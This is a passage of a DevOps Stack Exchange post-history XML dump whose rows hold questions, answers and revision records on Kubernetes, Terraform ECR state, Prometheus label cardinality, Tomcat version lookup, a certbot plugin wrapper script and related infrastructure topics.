  <row Id="23845" PostHistoryTypeId="2" PostId="8195" RevisionGUID="de5d84e1-92ea-4755-868a-b2a0c0f7bf8d" CreationDate="2019-05-22T10:47:55.483" UserId="15067" Text="It's in file `/etc/kubernetes/manifests/kube-controller-manager.yaml`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# sudo grep cidr /etc/kubernetes/manifests/kube-*&#xD;&#xA;/etc/kubernetes/manifests/kube-controller-manager.yaml:    - --allocate-node-cidrs=true&#xD;&#xA;/etc/kubernetes/manifests/kube-controller-manager.yaml:    - --cluster-cidr=192.168.0.0/16&#xD;&#xA;/etc/kubernetes/manifests/kube-controller-manager.yaml:    - --node-cidr-mask-size=24&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23846" PostHistoryTypeId="5" PostId="4629" RevisionGUID="7b2eaab4-949b-4bcb-87d7-6af8546a7b93" CreationDate="2019-05-22T12:06:19.203" UserId="40" Comment="deleted 21 characters in body" Text="I'm fairly new to Chef and have been writing recipes for Kiosks that we use at work.&#xD;&#xA;&#xD;&#xA;I've created a role for the Kiosk that contains a set of attributes, however one of these attributes is a unique ID that is different for each Kiosk node.&#xD;&#xA;&#xD;&#xA;This ID is provided by our customer who uses the Kiosk, is abritrary, and can't be generated automatically.&#xD;&#xA;&#xD;&#xA;What's best practice for setting this value? I'm using Chef Server and was thinking the best place to do it would be at Bootstrap but not entirely sure how. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23847" PostHistoryTypeId="10" PostId="4629" RevisionGUID="570d6e71-fac3-451a-96b6-305a4ab38411" CreationDate="2019-05-22T12:13:03.070" UserId="13" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[8186],&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="23848" PostHistoryTypeId="2" PostId="8196" RevisionGUID="d21b79b2-2cf4-4621-9dbf-bddc2d6fe880" CreationDate="2019-05-22T12:33:56.617" UserId="11069" Text="You can set up [Branch Policies][1] on your develop branch which requires a build to pass successfully before the Pull Request can be completed.&#xD;&#xA;&#xD;&#xA;I have set this up for my team with great success; we very rarely will have a broken master branch. The PR does not run the main build, but instead runs a separate, slimmed down build that checks that the code compiles and the unit tests pass. The &quot;Gated&quot; build runs on Pull Request creation, the &quot;Full&quot; build is triggered on change in master branch (PR completion).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#build-validation" ContentLicense="CC BY-SA 4.0" />
  <row Id="23850" PostHistoryTypeId="2" PostId="8197" RevisionGUID="caa8e875-d2a0-4021-9aea-7121c695ac42" CreationDate="2019-05-22T14:44:18.383" UserId="3055" Text="I have been banging my head against this seemingly simple issue for awhile now. I have some Terraform code which sets up an ECR repository, policy and lifecycle policy.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;provider &quot;aws&quot; {&#xD;&#xA;    region = &quot;${var.region_id}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;terraform {&#xD;&#xA;   required_version = &quot;0.11.13&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecr_repository&quot; &quot;frontend_ecr_repo_creation&quot; {&#xD;&#xA;  name = &quot;${var.app_image}&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecr_repository_policy&quot; &quot;frontend_ecr_policy&quot; {&#xD;&#xA;  repository = &quot;${aws_ecr_repository.frontend_ecr_repo_creation.name}&quot;&#xD;&#xA;&#xD;&#xA;  policy = &lt;&lt;EOF&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2008-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;new policy&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: &quot;*&quot;,&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;ecr:GetDownloadUrlForLayer&quot;,&#xD;&#xA;                &quot;ecr:BatchGetImage&quot;,&#xD;&#xA;                &quot;ecr:BatchCheckLayerAvailability&quot;,&#xD;&#xA;                &quot;ecr:PutImage&quot;,&#xD;&#xA;                &quot;ecr:InitiateLayerUpload&quot;,&#xD;&#xA;                &quot;ecr:UploadLayerPart&quot;,&#xD;&#xA;                &quot;ecr:CompleteLayerUpload&quot;,&#xD;&#xA;                &quot;ecr:DescribeRepositories&quot;,&#xD;&#xA;                &quot;ecr:GetRepositoryPolicy&quot;,&#xD;&#xA;                &quot;ecr:ListImages&quot;,&#xD;&#xA;                &quot;ecr:DeleteRepository&quot;,&#xD;&#xA;                &quot;ecr:BatchDeleteImage&quot;,&#xD;&#xA;                &quot;ecr:SetRepositoryPolicy&quot;,&#xD;&#xA;                &quot;ecr:DeleteRepositoryPolicy&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;EOF&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_ecr_lifecycle_policy&quot; &quot;frontend_ecr_lifecycle_policy&quot; {&#xD;&#xA;  repository = &quot;${aws_ecr_repository.frontend_ecr_repo_creation.name}&quot;&#xD;&#xA;&#xD;&#xA;  policy = &lt;&lt;EOF&#xD;&#xA;{&#xD;&#xA;    &quot;rules&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;rulePriority&quot;: 1,&#xD;&#xA;            &quot;description&quot;: &quot;Keep last 3 images&quot;,&#xD;&#xA;            &quot;selection&quot;: {&#xD;&#xA;                &quot;tagStatus&quot;: &quot;any&quot;,&#xD;&#xA;                &quot;countType&quot;: &quot;imageCountMoreThan&quot;,&#xD;&#xA;                &quot;countNumber&quot;: 3&#xD;&#xA;            },&#xD;&#xA;            &quot;action&quot;: {&#xD;&#xA;                &quot;type&quot;: &quot;expire&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;EOF&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This runs perfectly fine, however subsequent runs fail with:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; aws_ecr_repository.frontend_ecr_repo_creation: error creating ECR repository: RepositoryAlreadyExistsException: The repository with name 'cwyo/master' already exists in the registry with id '720734997891'&#xD;&#xA;	status code: 400, request id: cf59815c-7c9d-11e9-965d-0b326e93dee5&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I would expect Terraform plan no changes, instead it attempts to recreate the repository. This shows all of the signs of an incorrect remote state, however I run a Terraform init in my pipeline beforehand and I am satisfied that it is correct.&#xD;&#xA;&#xD;&#xA;I have been working around this by adding GitLab CI's inbuilt $COMMIT_SHA variable as a prefix, this works well except lifecycle policies cannot be applied therefore I ended up with 100's of useless repositories.&#xD;&#xA;&#xD;&#xA;I have looked in to a data structure to check if the repository exists and add a depends_on to the resource but no luck...&#xD;&#xA;&#xD;&#xA;**How do I ensure the aws_ecr_repository resource uses an existing repository if it already exists?**&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23851" PostHistoryTypeId="1" PostId="8197" RevisionGUID="caa8e875-d2a0-4021-9aea-7121c695ac42" CreationDate="2019-05-22T14:44:18.383" UserId="3055" Text="Terraform aws_ecr_repository resource always attempts to destroy" ContentLicense="CC BY-SA 4.0" />
  <row Id="23852" PostHistoryTypeId="3" PostId="8197" RevisionGUID="caa8e875-d2a0-4021-9aea-7121c695ac42" CreationDate="2019-05-22T14:44:18.383" UserId="3055" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23856" PostHistoryTypeId="2" PostId="8199" RevisionGUID="288952eb-26e4-4c81-9edc-56d1cf41f6eb" CreationDate="2019-05-22T14:52:27.083" UserId="246" Text="As far as high know, Prometheus doesn't mind high-cardinality **data**. What Prometheus doesn't like is high-cardinality **labels**.&#xD;&#xA;&#xD;&#xA;Let's start with Prometheus official documentation, it gives a good high-level explanation why:&#xD;&#xA;&#xD;&#xA;&gt; CAUTION: Remember that every unique combination of key-value label&#xD;&#xA;&gt; pairs represents a new time series, which can dramatically increase&#xD;&#xA;&gt; the amount of data stored. Do not use labels to store dimensions with&#xD;&#xA;&gt; high cardinality (many different label values), such as user IDs,&#xD;&#xA;&gt; email addresses, or other unbounded sets of values.&#xD;&#xA;&#xD;&#xA;- https://prometheus.io/docs/practices/naming/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The important part is really that **unique combinations of key-value** creates **new time series** in Prometheus.&#xD;&#xA;&#xD;&#xA;For instance, if you store a gauge-type metric `registration_complete` that records the time a user took to complete his/her registration form, Prometheus won't have any issue with that. You'll have one time series that have hundred of thousand of values: one value for each user that registered (how long it took). You'll be able to graph that metric over time, get the p95, etc.&#xD;&#xA;&#xD;&#xA;If you want to add *some* cardinality to it, you could add a label like `region`: US-east, Asia-Pacific, etc. You'll be able to graph all regions and compare them or maybe group them all. The number of regions is probably low (&lt;10) and it is certainly bound. If on AWS, there's a fixed number of regions and they don't change much over time. Sure, AWS might add, remove or rename a region, but that's not changing by the minute and there's not thousands of them.&#xD;&#xA;&#xD;&#xA;So to come back to what Prometheus advise against: you should not create high-cardinality labels. You should not add a `user_id` label to your `registration_complete` metric. If you do so, you'll have hundred of thousands of _different_ time series, one for each user!, and they will all have only one data point. That's really the worst case scenario.&#xD;&#xA;&#xD;&#xA;In this case, in order to graph the `registration_complete` metric over all labels, Prometheus will have to query all the individual time series (the X thousands of them) and aggregate all of them.&#xD;&#xA;&#xD;&#xA;You said you come from a SQL background, so I'll attempt an analogy. Unique combination of key-value label pairs creating new time series in Prometheus amounts to individual tables in SQL. Having a label `user_id` equals to having one table per user_id.&#xD;&#xA;&#xD;&#xA;Note: not all TSDB work the same way and I can speak for them all." ContentLicense="CC BY-SA 4.0" />
  <row Id="23857" PostHistoryTypeId="2" PostId="8200" RevisionGUID="cfe9bfbf-c6b9-4719-aa7e-cdeed05b2957" CreationDate="2019-05-22T15:10:53.677" UserId="246" Text="Regardless if containers are ephemeral or not, there's two things you could consider *not normal*:&#xD;&#xA;&#xD;&#xA; - Non-zero exit codes&#xD;&#xA; - Restart count &gt; 0 at the orchestration layer&#xD;&#xA;&#xD;&#xA;How you can alert on those metrics will vary wildly between orchestration layers, providers and monitoring tool. I'll keep the discussion about the *principles*:&#xD;&#xA;&#xD;&#xA;## Non-zero exit codes&#xD;&#xA;&#xD;&#xA;This one seems obvious enough. If you have an ephemeral workload, make sure it exits cleanly and you'll be able to monitor the health of your containers. Even if your ephemeral workload last 30 seconds and you launch thousand of them (small short-lived workers style), as long as everything exits cleanly, there's nothing to worry about.&#xD;&#xA;&#xD;&#xA;## Restart count at the orchestration layer&#xD;&#xA;&#xD;&#xA;Most orchestration layers will expose a restart count. For Kubernetes, that's literally the 'Restart Count' metric when describing a pod. Those restarts are the orchestration layer restarting a container because it wasn't supposed to be in a 'stopped' state, but it was. Ephemeral workloads won't have a restart count, because of their very nature (or if they do, the &quot;final&quot; shutdown of the container won't cause a restart when the workload is done).&#xD;&#xA;&#xD;&#xA;Whether you want to alert as soon as the restart count crosses a certain threshold or if you want to be more clever about it and calculate a rate (roughly: restart count / pod/service duration) is up to you.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23858" PostHistoryTypeId="5" PostId="8199" RevisionGUID="f675b186-da2d-4e79-bb92-7f785af705ff" CreationDate="2019-05-22T15:16:23.850" UserId="246" Comment="Fixed 'I can speak for them all' to 'I can't speak for them all'" Text="As far as high know, Prometheus doesn't mind high-cardinality **data**. What Prometheus doesn't like is high-cardinality **labels**.&#xD;&#xA;&#xD;&#xA;Let's start with Prometheus official documentation, it gives a good high-level explanation why:&#xD;&#xA;&#xD;&#xA;&gt; CAUTION: Remember that every unique combination of key-value label&#xD;&#xA;&gt; pairs represents a new time series, which can dramatically increase&#xD;&#xA;&gt; the amount of data stored. Do not use labels to store dimensions with&#xD;&#xA;&gt; high cardinality (many different label values), such as user IDs,&#xD;&#xA;&gt; email addresses, or other unbounded sets of values.&#xD;&#xA;&#xD;&#xA;- https://prometheus.io/docs/practices/naming/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The important part is really that **unique combinations of key-value** creates **new time series** in Prometheus.&#xD;&#xA;&#xD;&#xA;For instance, if you store a gauge-type metric `registration_complete` that records the time a user took to complete his/her registration form, Prometheus won't have any issue with that. You'll have one time series that have hundred of thousand of values: one value for each user that registered (how long it took). You'll be able to graph that metric over time, get the p95, etc.&#xD;&#xA;&#xD;&#xA;If you want to add *some* cardinality to it, you could add a label like `region`: US-east, Asia-Pacific, etc. You'll be able to graph all regions and compare them or maybe group them all. The number of regions is probably low (&lt;10) and it is certainly bound. If on AWS, there's a fixed number of regions and they don't change much over time. Sure, AWS might add, remove or rename a region, but that's not changing by the minute and there's not thousands of them.&#xD;&#xA;&#xD;&#xA;So to come back to what Prometheus advise against: you should not create high-cardinality labels. You should not add a `user_id` label to your `registration_complete` metric. If you do so, you'll have hundred of thousands of _different_ time series, one for each user!, and they will all have only one data point. That's really the worst case scenario.&#xD;&#xA;&#xD;&#xA;In this case, in order to graph the `registration_complete` metric over all labels, Prometheus will have to query all the individual time series (the X thousands of them) and aggregate all of them.&#xD;&#xA;&#xD;&#xA;You said you come from a SQL background, so I'll attempt an analogy. Unique combination of key-value label pairs creating new time series in Prometheus amounts to individual tables in SQL. Having a label `user_id` equals to having one table per user_id.&#xD;&#xA;&#xD;&#xA;Note: not all TSDB work the same way and I can't speak for them all." ContentLicense="CC BY-SA 4.0" />
  <row Id="23863" PostHistoryTypeId="5" PostId="2760" RevisionGUID="1d5db53f-e393-46dc-bfed-aaf2ebe483c2" CreationDate="2019-05-22T20:25:14.047" UserId="15076" Comment="Specify which answer" Text="To expand on [the answer above](https://devops.stackexchange.com/a/2249) - try using:&#xD;&#xA;&#xD;&#xA;    branch: &quot;origin/pr/${pullRequestId}/from&quot;&#xD;&#xA;&#xD;&#xA;because in groovy, string interpolation is not done for simple strings - i.e. strings within single quotes. See http://groovy-lang.org/syntax.html#_string_interpolation for details on that." ContentLicense="CC BY-SA 4.0" />
  <row Id="23864" PostHistoryTypeId="24" PostId="2760" RevisionGUID="1d5db53f-e393-46dc-bfed-aaf2ebe483c2" CreationDate="2019-05-22T20:25:14.047" Comment="Proposed by 15076 approved by -1 edit id of 1004" ContentLicense="CC BY-SA 4.0" />
  <row Id="23865" PostHistoryTypeId="5" PostId="2760" RevisionGUID="1e428f50-dd9c-41e3-ac01-3225c6e06b0c" CreationDate="2019-05-22T20:25:14.047" UserId="40" Comment="edited body" Text="To expand on [the answer above](https://devops.stackexchange.com/a/2249) - try using:&#xD;&#xA;&#xD;&#xA;    branch: &quot;origin/pr/${pullRequestId}/from&quot;&#xD;&#xA;&#xD;&#xA;Because in groovy, string interpolation is not done for simple strings - i.e. strings within single quotes. See http://groovy-lang.org/syntax.html#_string_interpolation for details on that." ContentLicense="CC BY-SA 4.0" />
  <row Id="23866" PostHistoryTypeId="2" PostId="8202" RevisionGUID="e6314fe1-76c2-4087-9be2-92a8b3f794a7" CreationDate="2019-05-22T20:39:22.930" UserId="15079" Text="Get the latest version of Tomcat:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ curl -s 'https://api.github.com/repos/apache/tomcat/tags?per_page=1' | jq -r .[].name&#xD;&#xA;9.0.20&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Get the latest version of Tomcat 9:&#xD;&#xA;```&#xD;&#xA;$ curl -s 'https://api.github.com/repos/apache/tomcat/tags?per_page=100' | jq -r '.[] | .name' | sort -V | grep ^9 | tail -n 1&#xD;&#xA;9.0.20&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Get the latest version of Tomcat 8.5:&#xD;&#xA;```&#xD;&#xA;$ curl -s 'https://api.github.com/repos/apache/tomcat/tags?per_page=100' | jq -r '.[] | .name' | sort -V | grep ^8.5 | tail -n 1&#xD;&#xA;8.5.41&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Get the latest version of Tomcat 7:&#xD;&#xA;```&#xD;&#xA;$ curl -s 'https://api.github.com/repos/apache/tomcat/tags?per_page=100' | jq -r '.[] | .name' | sort -V | grep ^7 | tail -n 1&#xD;&#xA;7.0.94&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;These all currently match the latest versions listed at http://tomcat.apache.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="23867" PostHistoryTypeId="2" PostId="8203" RevisionGUID="523aca0b-6a51-44e7-836f-1ab4bc69be0b" CreationDate="2019-05-22T21:12:25.540" UserId="11845" Text="The way you install certbot plugins depends on how you installed certbot itself. If you installed certbot using some package manager (apt, rpm, brew...), then you should look for compatible certbot plugins in that package manager's repository.&#xD;&#xA;&#xD;&#xA;Let's Encrypt also support an alternative installation method: the certbot-auto wrapper. This wrapper creates a private Python virtual installation (generally in `/opt/eff.org/certbot/venv`), and install certbot into that directory. A nice feature of certbot-auto is that it automatically keeps the certbot client up-to-date. A major downside is that it does not *officially* supports plugins installation (that is, aside from four plugins that are installed by default).&#xD;&#xA;&#xD;&#xA;It is easy enough to work around this limitation, as described in [Ryan G's solution][1]. However, plugins installed through that procedure will be lost every time certbot-auto updates itself, which can result in random renew failures. Here, we have had a few situations where some certificates almost reached expiration because of that issue. Several tickets discuss this issue on certbot's bug tracker, and the team acknowledge the problem, but it seems that it might still be a long way before the issue is actually fixed.&#xD;&#xA;&#xD;&#xA;Therefore, if using certbot-auto in an automated setup, it is desirable to either prevent certbot-auto's self updating (by running it with `--no-self-upgrade`), or to implement some strategy to ensure that required plugins are automatically reinstalled every time certbot is updated.&#xD;&#xA;&#xD;&#xA;A possible solution to indeed ensure that required plugins are installed is to add a wrapper around certbot-auto. That wrapper could essentially look as follow:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # The list of plugins to be installed&#xD;&#xA;    CERTBOT_PLUGINS=&quot;certbot-dns-route53&quot;&#xD;&#xA;&#xD;&#xA;    # Force the venv directory to be where we can easily find it&#xD;&#xA;    export VENV_PATH=&quot;/opt/eff.org/certbot/venv&quot;&#xD;&#xA;&#xD;&#xA;    # Force certbot-auto to be where we expect it to be&#xD;&#xA;    export CERTBOT_AUTO=&quot;/usr/local/bin/certbot-auto-upstream&quot;&#xD;&#xA;&#xD;&#xA;    # Force certbot-auto to bootstrap or upgrade itself, but do no more&#xD;&#xA;    &quot;${CERTBOT_AUTO}&quot;  --install-only  &quot;$@&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if required plugins are installed; install them if they are missing&#xD;&#xA;    (&#xD;&#xA;        cd ${VENV_PATH}&#xD;&#xA;        source bin/activate&#xD;&#xA;    &#xD;&#xA;        for plugin in $CERTBOT_PLUGINS ; do&#xD;&#xA;            if ! pip show -q &quot;$plugin&quot; ; then&#xD;&#xA;                pip install &quot;$plugin&quot;&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;    &#xD;&#xA;        deactivate&#xD;&#xA;    )&#xD;&#xA;    &#xD;&#xA;    # Execute the actual certbot command&#xD;&#xA;    &quot;${VENV_PATH}/bin/letsencrypt&quot; &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have made available a more complete version of that wrapper [here][2]; the only differences with the longer version is that it ensures that the wrapper is being run as root, and it properly handle the `--help` argument.&#xD;&#xA;&#xD;&#xA;To install that wrapper, download the official `certbot-auto` program to `/usr/local/bin/certbot-auto-upstream`, and copy the wrapper to `/usr/local/bin/certbot-auto`. Make sure both files have proper privileges (`chown root:root /usr/local/bin/certbot-auto*`, then `chmod 755 /usr/local/bin/certbot-auto*`). In the wrapper file, make sure the line `CERTBOT_PLUGINS=&quot;...&quot;` includes the list of plugins you actually need. And that's it. Simply use the `certbot-auto` command, as you would have done previously, and forget about the `certbot-auto-upstream` file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/4845&#xD;&#xA;  [2]: https://gist.github.com/mjameswh/b9e1b3fef3369c1edcac34047f91a952" ContentLicense="CC BY-SA 4.0" />
  <row Id="23871" PostHistoryTypeId="5" PostId="8199" RevisionGUID="27f2250a-9c86-4319-a36e-c6bdb62d15ae" CreationDate="2019-05-23T00:20:51.383" UserId="246" Comment="Fix typo" Text="As far as I know, Prometheus doesn't mind high-cardinality **data**. What Prometheus doesn't like is high-cardinality **labels**.&#xD;&#xA;&#xD;&#xA;Let's start with Prometheus official documentation, it gives a good high-level explanation why:&#xD;&#xA;&#xD;&#xA;&gt; CAUTION: Remember that every unique combination of key-value label&#xD;&#xA;&gt; pairs represents a new time series, which can dramatically increase&#xD;&#xA;&gt; the amount of data stored. Do not use labels to store dimensions with&#xD;&#xA;&gt; high cardinality (many different label values), such as user IDs,&#xD;&#xA;&gt; email addresses, or other unbounded sets of values.&#xD;&#xA;&#xD;&#xA;- https://prometheus.io/docs/practices/naming/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The important part is really that **unique combinations of key-value** creates **new time series** in Prometheus.&#xD;&#xA;&#xD;&#xA;For instance, if you store a gauge-type metric `registration_complete` that records the time a user took to complete his/her registration form, Prometheus won't have any issue with that. You'll have one time series that have hundred of thousand of values: one value for each user that registered (how long it took). You'll be able to graph that metric over time, get the p95, etc.&#xD;&#xA;&#xD;&#xA;If you want to add *some* cardinality to it, you could add a label like `region`: US-east, Asia-Pacific, etc. You'll be able to graph all regions and compare them or maybe group them all. The number of regions is probably low (&lt;10) and it is certainly bound. If on AWS, there's a fixed number of regions and they don't change much over time. Sure, AWS might add, remove or rename a region, but that's not changing by the minute and there's not thousands of them.&#xD;&#xA;&#xD;&#xA;So to come back to what Prometheus advise against: you should not create high-cardinality labels. You should not add a `user_id` label to your `registration_complete` metric. If you do so, you'll have hundred of thousands of _different_ time series, one for each user!, and they will all have only one data point. That's really the worst case scenario.&#xD;&#xA;&#xD;&#xA;In this case, in order to graph the `registration_complete` metric over all labels, Prometheus will have to query all the individual time series (the X thousands of them) and aggregate all of them.&#xD;&#xA;&#xD;&#xA;You said you come from a SQL background, so I'll attempt an analogy. Unique combination of key-value label pairs creating new time series in Prometheus amounts to individual tables in SQL. Having a label `user_id` equals to having one table per user_id.&#xD;&#xA;&#xD;&#xA;Note: not all TSDB work the same way and I can't speak for them all." ContentLicense="CC BY-SA 4.0" />
  <row Id="23875" PostHistoryTypeId="2" PostId="8206" RevisionGUID="1462bea6-d98c-4ec0-8e25-47228b0a90a6" CreationDate="2019-05-23T01:21:00.773" UserId="15023" Text="I resolved this issue by removing the vendor folder in the Laravel package.&#xD;&#xA;&#xD;&#xA;Once the vendor folder is removed, the composer.json file is automatically used to run the installation. All necessary files are then downloaded and installed.&#xD;&#xA;&#xD;&#xA;This removes the need to run the 'composer install' command post installation." ContentLicense="CC BY-SA 4.0" />
  <row Id="23876" PostHistoryTypeId="2" PostId="8207" RevisionGUID="4bfb543c-a351-4286-bd27-c4d7b7e7ec68" CreationDate="2019-05-23T07:36:46.563" UserId="15087" Text="Basically, my use case is that i want to run on list of hosts(group from inventory)&#xD;&#xA;It will run one by one, until it finds machine answer my standards,&#xD;&#xA;when it find the one with free ram as i say e.g 40g free,&#xD;&#xA;stop looping host, continue the next role/task with the ip of this machine.&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="23877" PostHistoryTypeId="1" PostId="8207" RevisionGUID="4bfb543c-a351-4286-bd27-c4d7b7e7ec68" CreationDate="2019-05-23T07:36:46.563" UserId="15087" Text="Ansible - stop working on host when success" ContentLicense="CC BY-SA 4.0" />
  <row Id="23878" PostHistoryTypeId="3" PostId="8207" RevisionGUID="4bfb543c-a351-4286-bd27-c4d7b7e7ec68" CreationDate="2019-05-23T07:36:46.563" UserId="15087" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23884" PostHistoryTypeId="4" PostId="8207" RevisionGUID="f296a3eb-5f35-48ac-9333-d75d01df9791" CreationDate="2019-05-23T08:05:00.810" UserId="15087" Comment="edited title" Text="Ansible - stop when host is success, exit with IP" ContentLicense="CC BY-SA 4.0" />
  <row Id="23885" PostHistoryTypeId="2" PostId="8209" RevisionGUID="e29e7a6a-1170-42de-bd80-4d1d78724e9a" CreationDate="2019-05-23T08:43:20.237" UserId="15090" Text="I have installed docker successfully and try to install phpmyadmin and mysql.&#xD;&#xA;&#xD;&#xA;I have did following steps.&#xD;&#xA;Using below link I have pulled php version&#xD;&#xA;&#xD;&#xA;    https://hub.docker.com/r/codepulse/php-7.2.0-apache-mysql/&#xD;&#xA;&#xD;&#xA; 1. docker pull codepulse/php-7.2.0-apache-mysql&#xD;&#xA; 2. docker pull phpmyadmin/phpmyadmin&#xD;&#xA;&#xD;&#xA;After installing it when I execute `docker ps -a` I could not found any container there.&#xD;&#xA;&#xD;&#xA;Could any one help to install phpmyadmin and mysql.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23886" PostHistoryTypeId="1" PostId="8209" RevisionGUID="e29e7a6a-1170-42de-bd80-4d1d78724e9a" CreationDate="2019-05-23T08:43:20.237" UserId="15090" Text="Unable to create container after installing mysql and phpmyadmin | Ubuntu" ContentLicense="CC BY-SA 4.0" />
  <row Id="23887" PostHistoryTypeId="3" PostId="8209" RevisionGUID="e29e7a6a-1170-42de-bd80-4d1d78724e9a" CreationDate="2019-05-23T08:43:20.237" UserId="15090" Text="&lt;docker&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23895" PostHistoryTypeId="50" PostId="6927" RevisionGUID="e4bab906-adc2-42e0-83c6-e769ce0fc456" CreationDate="2019-05-23T13:01:34.160" UserId="-1" />
  <row Id="23903" PostHistoryTypeId="2" PostId="8214" RevisionGUID="4368c065-9131-4a3e-bbe3-ebb72af02920" CreationDate="2019-05-23T17:06:42.417" UserId="13461" Text="I have searched few job sites. Many companies are searching engineers who can handle Jenkins as CI platform.&#xA;I think the Aws CodePipeline is easier than Jenkins.&#xA;&#xA;Anyone can advise me, please.&#xA;Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="23904" PostHistoryTypeId="1" PostId="8214" RevisionGUID="4368c065-9131-4a3e-bbe3-ebb72af02920" CreationDate="2019-05-23T17:06:42.417" UserId="13461" Text="Why many companies prefer Jenkins than Aws CodePipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23905" PostHistoryTypeId="3" PostId="8214" RevisionGUID="4368c065-9131-4a3e-bbe3-ebb72af02920" CreationDate="2019-05-23T17:06:42.417" UserId="13461" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23906" PostHistoryTypeId="2" PostId="8215" RevisionGUID="5f8cbe1b-d860-4069-adbb-da785bcc7060" CreationDate="2019-05-23T17:59:19.963" UserId="15100" Text="There is no need to push any OTP values into the keycloak database.&#xD;&#xA;You can use the new privacyidea keycloak provider.&#xD;&#xA;&#xD;&#xA;The user logs in with his username/password and the privacyidea-provider will take care, that the users get the email and ask in a 2nd dialog for the OTP.&#xD;&#xA;&#xD;&#xA;See:&#xD;&#xA;https://github.com/privacyidea/keycloak-provider&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23907" PostHistoryTypeId="5" PostId="5590" RevisionGUID="5ea841ed-7169-48c7-abca-323efd1c5f99" CreationDate="2019-05-23T19:18:10.137" UserId="10599" Comment="added 3 characters in body" Text="I could talk a lot about the architecture yet this is a devops community so I will addresses your main concern about running the database only. &#xD;&#xA;&#xD;&#xA;**Short answer:** &#xD;&#xA;&#xD;&#xA;If you were to modify the design to say &quot;Azure SQL&quot; for each microservice then it would look okay to me. Each microservice can have its own separate Azure SQL database instance (likely running on a shared cluster but that is invisible to you). To move it on-prem later you can decide if you want to build an &quot;Azure SQL-like&quot; setup on kubernetes or simply run a traditional SQL Server cluster on-prem. Using Azure SQL doesn't lock your architecture into Azure as I will discuss below.&#xD;&#xA;&#xD;&#xA;**Long answer:**&#xD;&#xA;&#xD;&#xA;MS SQL Server requires a huge amount of memory compared to opensource databases or stateless application services. It also requires software licences (we will look at optimising cost below). So it may be the case that it simply isn't particularly cost-effective to run an licensed instance per service. You could license one SQLServer instance and run many per-service private databases on it. Better yet use Azure SQL the managed database-as-a-service version of SQL Server. That doesn't lock them into Azure as you can move to AWS which has &quot;Amazon RDS for SQL Server&quot;. Every serious cloud provider will offer a professionally managed database service for all the major databases. &#xD;&#xA;&#xD;&#xA;Also as you point out running a database in the same kubernetes pod as your application server code won't allow you to scale them independently. Also, stateless application servers can run on pods that have no persistent storage. Then stateless application servers can die and be restarted at will and moved between cloud availability zones trivially. Obviously, databases need persistent storage that is &quot;owned&quot; by pod. So a database needs a persistent volume claim. If you want them to run with high availability you need them to run as a stateful set. Running the database in the same pod as the application server is something that a developer might run locally, but I wouldn't recommend it for SQL Server, as it starts up 10x slower than your code. Rather on a mac laptop run the SQL Server docker image exposing its port. On a windows laptop run SQL Server Express natively. &#xD;&#xA;&#xD;&#xA;It is considered a very standard architecture for each microservice has it's own logical (but not necessarily physical) database, but to run as a stateless service with many replicas, so that they can be scaled independently. Also Azure has very good support for Redis as a cache. It is therefore considered a standard architecture for each microservice 